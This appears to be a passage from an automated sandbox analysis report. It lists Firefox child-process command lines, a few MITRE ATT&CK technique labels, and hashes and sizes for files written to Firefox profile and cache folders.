    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.6.497160674\1230915314" -childID 5 -isForBrowser -prefsHandle 5152 -prefMapHandle 5156 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6ccd18e6-5651-43cc-8763-b12dc8607193} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 5144 20609081258 tab
    3⤵
    PID:1584
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.8.724894490\318039340" -childID 7 -isForBrowser -prefsHandle 5688 -prefMapHandle 5712 -prefsLen 26738 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {94014272-ed8f-4176-a03c-6b04e0ddf670} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 5176 20609ea4558 tab
    3⤵
    PID:412
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.9.1880616432\2054345129" -childID 8 -isForBrowser -prefsHandle 4860 -prefMapHandle 5076 -prefsLen 26930 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {be5090f5-0681-4540-99ea-e3a53ef4012e} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 5108 206043a7c58 tab
    3⤵
    PID:4588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.10.1063747719\743930765" -childID 9 -isForBrowser -prefsHandle 5132 -prefMapHandle 5520 -prefsLen 26930 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6ffa0ba-a550-49ce-919e-35eb80330209} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 5308 206043a5b58 tab
    3⤵
    PID:4980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\anq17kf\imagestore.dat

Filesize
16KB

MD5
32103241428757e98bc3ccafacf563a7

SHA1
408d11ef3482c13a6d373c2a710fe4137d2776a0

SHA256
297eb2b4fa7ba70eaddbf39f651afd3df3528d6d66aa80096cea6506ea59a698

SHA512
4ffb2f30ddfb2194a5a6c231522476b3dde14293790a3156d9b84ad4e38b3f5e675eb3b8ae72dbb4291ede2b0f7a690d51ca02fa892faaf9750ac28be154dd4e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Filesize
28KB

MD5
a002eba4e2e9e382c73d185888a37871

SHA1
254ecbe92238049ceb2218b6288e7bc3f1200835

SHA256
305d309cc069c715cfcff136d610fcc37b0cbf2a428dc463e72fafe1a114cc65

SHA512
4dd82dbbccc16b74187a1adad2ca05ce54ed53a1fa6f91516f2fa686406235f873de08a78f7da54e5cc9a488dd317d6df14a9e835a89595bebd2e70b81114ed3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2K9QMOPD\favicon[1].ico

Filesize
16KB

MD5
3e8af9ad3e271f9830b93afebc2d2415

SHA1
b908089ee75d395cc9e2770719d3291662ad5686

SHA256
e07b3f599140decc294c7ee18fb8fb6760739e3307e102d41e19d718ebbb207c

SHA512
e0b0be739da102c070c624e52845dfabd7f3ad0731d99264de9f5d05c7abfe7d5c128abca9c957794318425d37d12b059eeae4e2ac0ccd3fd8dd12ad0bbe1db9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2K9QMOPD\favicon[1].ico

Filesize
16KB

MD5
3e8af9ad3e271f9830b93afebc2d2415

SHA1
b908089ee75d395cc9e2770719d3291662ad5686

SHA256
e07b3f599140decc294c7ee18fb8fb6760739e3307e102d41e19d718ebbb207c

SHA512
e0b0be739da102c070c624e52845dfabd7f3ad0731d99264de9f5d05c7abfe7d5c128abca9c957794318425d37d12b059eeae4e2ac0ccd3fd8dd12ad0bbe1db9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RBBD6WFK\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0b3n2faz.default-release\activity-stream.discovery_stream.json.tmp

Filesize
154KB

MD5
ade6745d0ff805d57332f671563ba70d

SHA1
92b18ee69656df35095e7fe1fae354371f9d476d

SHA256
597081ee354065eae9954f31ff36750b2a672ab74a1aeb7bc99b2aca73525ddd

SHA512
189f7390991f1cc8b2f1c4222ead2d549473291d5e6ea686830c94eede13208eb7efd1f4e8d430760c834b21bed220359abf95e86aa5a9a810ebd87c31596d54

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0b3n2faz.default-release\cache2\entries\118BB2BA245AAA64B01692DF29396B97E11FC1A0

Filesize
14KB

MD5
01f215ff043d4c938226b04ce849ef9f

SHA1
afa6df52439aa28b788729551c58c86e9e3391a1

SHA256
df476abf7ef9032ba8072cc2027e569bab2b3bdb6942003ec30d23dca9161753

SHA512
2d1192aef9280c8f2390ad8156081847df670a21e8cb07b2bc0d4f0e1fa2fbe156ee3d7f7280644ea916c27792e471581353e58145bedea30b3a15970e01458a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon

Filesize
442KB

MD5
85430baed3398695717b0263807cf97c

SHA1
fffbee923cea216f50fce5d54219a188a5100f41

SHA256
a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e

SHA512
06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

Filesize
8.0MB

MD5
a01c5ecd6108350ae23d2cddf0e77c17

SHA1
c6ac28a2cd979f1f9a75d56271821d5ff665e2b6

SHA256
345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42

SHA512
b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

Filesize
997KB

MD5
fe3355639648c417e8307c6d051e3e37

SHA1
f54602d4b4778da21bc97c7238fc66aa68c8ee34

SHA256
1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e

SHA512
8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

Filesize
116B

MD5
3d33cdc0b3d281e67dd52e14435dd04f

SHA1
4db88689282fd4f9e9e6ab95fcbb23df6e6485db

SHA256
f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b

SHA512
a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

Filesize
479B

MD5
49ddb419d96dceb9069018535fb2e2fc

SHA1
62aa6fea895a8b68d468a015f6e6ab400d7a7ca6

SHA256
2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539

SHA512
48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

Filesize
372B

MD5
8be33af717bb1b67fbd61c3f4b807e9e

SHA1
7cf17656d174d951957ff36810e874a134dd49e0

SHA256
e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd

SHA512
6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

Filesize
11.8MB

MD5
33bf7b0439480effb9fb212efce87b13

SHA1
cee50f2745edc6dc291887b6075ca64d716f495a

SHA256
8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e

SHA512
d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

Filesize
1KB

MD5
688bed3676d2104e7f17ae1cd2c59404

SHA1
952b2cdf783ac72fcb98338723e9afd38d47ad8e

SHA256
33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237

SHA512
7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

Filesize
1KB

MD5
937326fead5fd401f6cca9118bd9ade9

SHA1
4526a57d4ae14ed29b37632c72aef3c408189d91

SHA256
68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81

SHA512
b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\prefs-1.js

Filesize
6KB

MD5
9185daa0e802e6cc1755c49dd44733fa

SHA1
676a09f1d6cda7151ec49adadcbe9428b278cdec

SHA256
8c97a0115672bf783e9f7e2d0395df94e9d179e116439126657fee4408644916

SHA512
c6c9e4dcd7bca452457b27ab438f607e25ea1a86b409ab0a5b56fb47325dc3d637358d338d04b7781b71f87a2628d47d839dcf3520143143a2460a85d2c74f1c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\prefs-1.js

Filesize
8KB

MD5
de52d7d13c11ad63e9a7490312ca8ada

SHA1
755ed607b481403e78322640fe8d5765fa08f95e

SHA256
2b95f7793c1feb065960e57c3eb420570529fb192c03e95b1034a19c2163234f

SHA512
a61bd843a4a88484f833d4f254f9e47dca54879e65fb9c2f64ba3956f2e111b1953fccb9191875e8461ea9e11abb287280a82ff5d7c63dfcf326585f2105d7da

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\prefs-1.js

Filesize
7KB

MD5
c596df450a8a10756702a1b05a36050e

SHA1
016164c8813538f064eaf9e7e42852a43ef8db6a

SHA256
d01786e768bdf78c99bf8ae1585d41207c8f46e3e8ca33336db3523d8af8c3d4

SHA512
a188183bddaf7dd6f60467ab38ad77e96dd977e7197e109c1dbda1fe1c0f788f9ab5d9e29c34223c217a01f0b5352dd87b9bacf81b5d49c97914534ee8720bf0

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\prefs.js

Filesize
6KB

MD5
137e9091a2d2239aeccf51a6c3f51b44

SHA1
82e7172f9639d800e5affc6229dc4c48de430525

SHA256
8db887b84c5ccdb1ef902edd83ee4a390fa23ef6e214d8a086b107354fde56d4

SHA512
2705c7cb6eb7b9ac0b96bf65d67ac898d683279b11b8189439d628e4f5730e8ee335bfacbe71f099d0f11b628d1cb5f8a3217403e2efcfbf86dba4ecf1daf666

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
76108857a2c602089f654d07de806e6b

SHA1
f27a5d1a7ad1ac223b2324baaa638a60cc2722ae

SHA256
88b21e0a598a90a8180bbe2019023e3ec2ae02d523c86cfd17d3cf30e550a243

SHA512
efa9e1b72374d7344f442c391670d832abbbee42c0168c21514c43f4475e3c3ebb437334006a593980f7f01fd87e41bd9782ddb86e6656fca1b7dfb9e6d5ef97

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
40KB

MD5
e0d266adef6027c11f314c1b51c71b89

SHA1
dea9f78f9106f960760e95cb5a13e6df532872fb

SHA256
b1390ad7bdb689284cbfa824e9686d3b5862647c8957bbfaeb8f12b839eb3495

SHA512
33fa9a19a66d4d54367e4f31bf8801965f63c87f1baf54c60a2188d57727284f3aed56416fe18bdeb99d87254b4675b0e96e55fef4d105d3795375ab7a05f9b2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
40KB

MD5
2ff56977e1ac4bdb625fbaf70f709661

SHA1
2640fc6158038d517dd35d064c0c540ebaff0437

SHA256
0bd2e327f579d0d10c449d2688e02ada255068f493b6cd75901600f8175afffe

SHA512
c6a36d139f805a51dfc663a3413ddaf4b56782f9a65f0132f164be8b61c43ee926f3d43966b58def4014fc557d99abbd7a01e0bda405b71e1267c0479e7595c3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0b3n2faz.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
40KB

MD5
afa4f01b74ac5001cbd166c0643ab0d7

SHA1
cc76b0ade50696c4e3a09e328efc89aec8cf62f5

SHA256
3c40ceb4e97beb7de84872048d026d632d2019352d94451933b42de7c086a119

SHA512
a98f05aacc29c9c0cc08fd1eae996bfde8507d02d8887c99a2b556c827ef9758418fa745f97a57fac5086e58f92abaaed1a97258592fdf93ac2d4e0f2328cfa5

Download Submit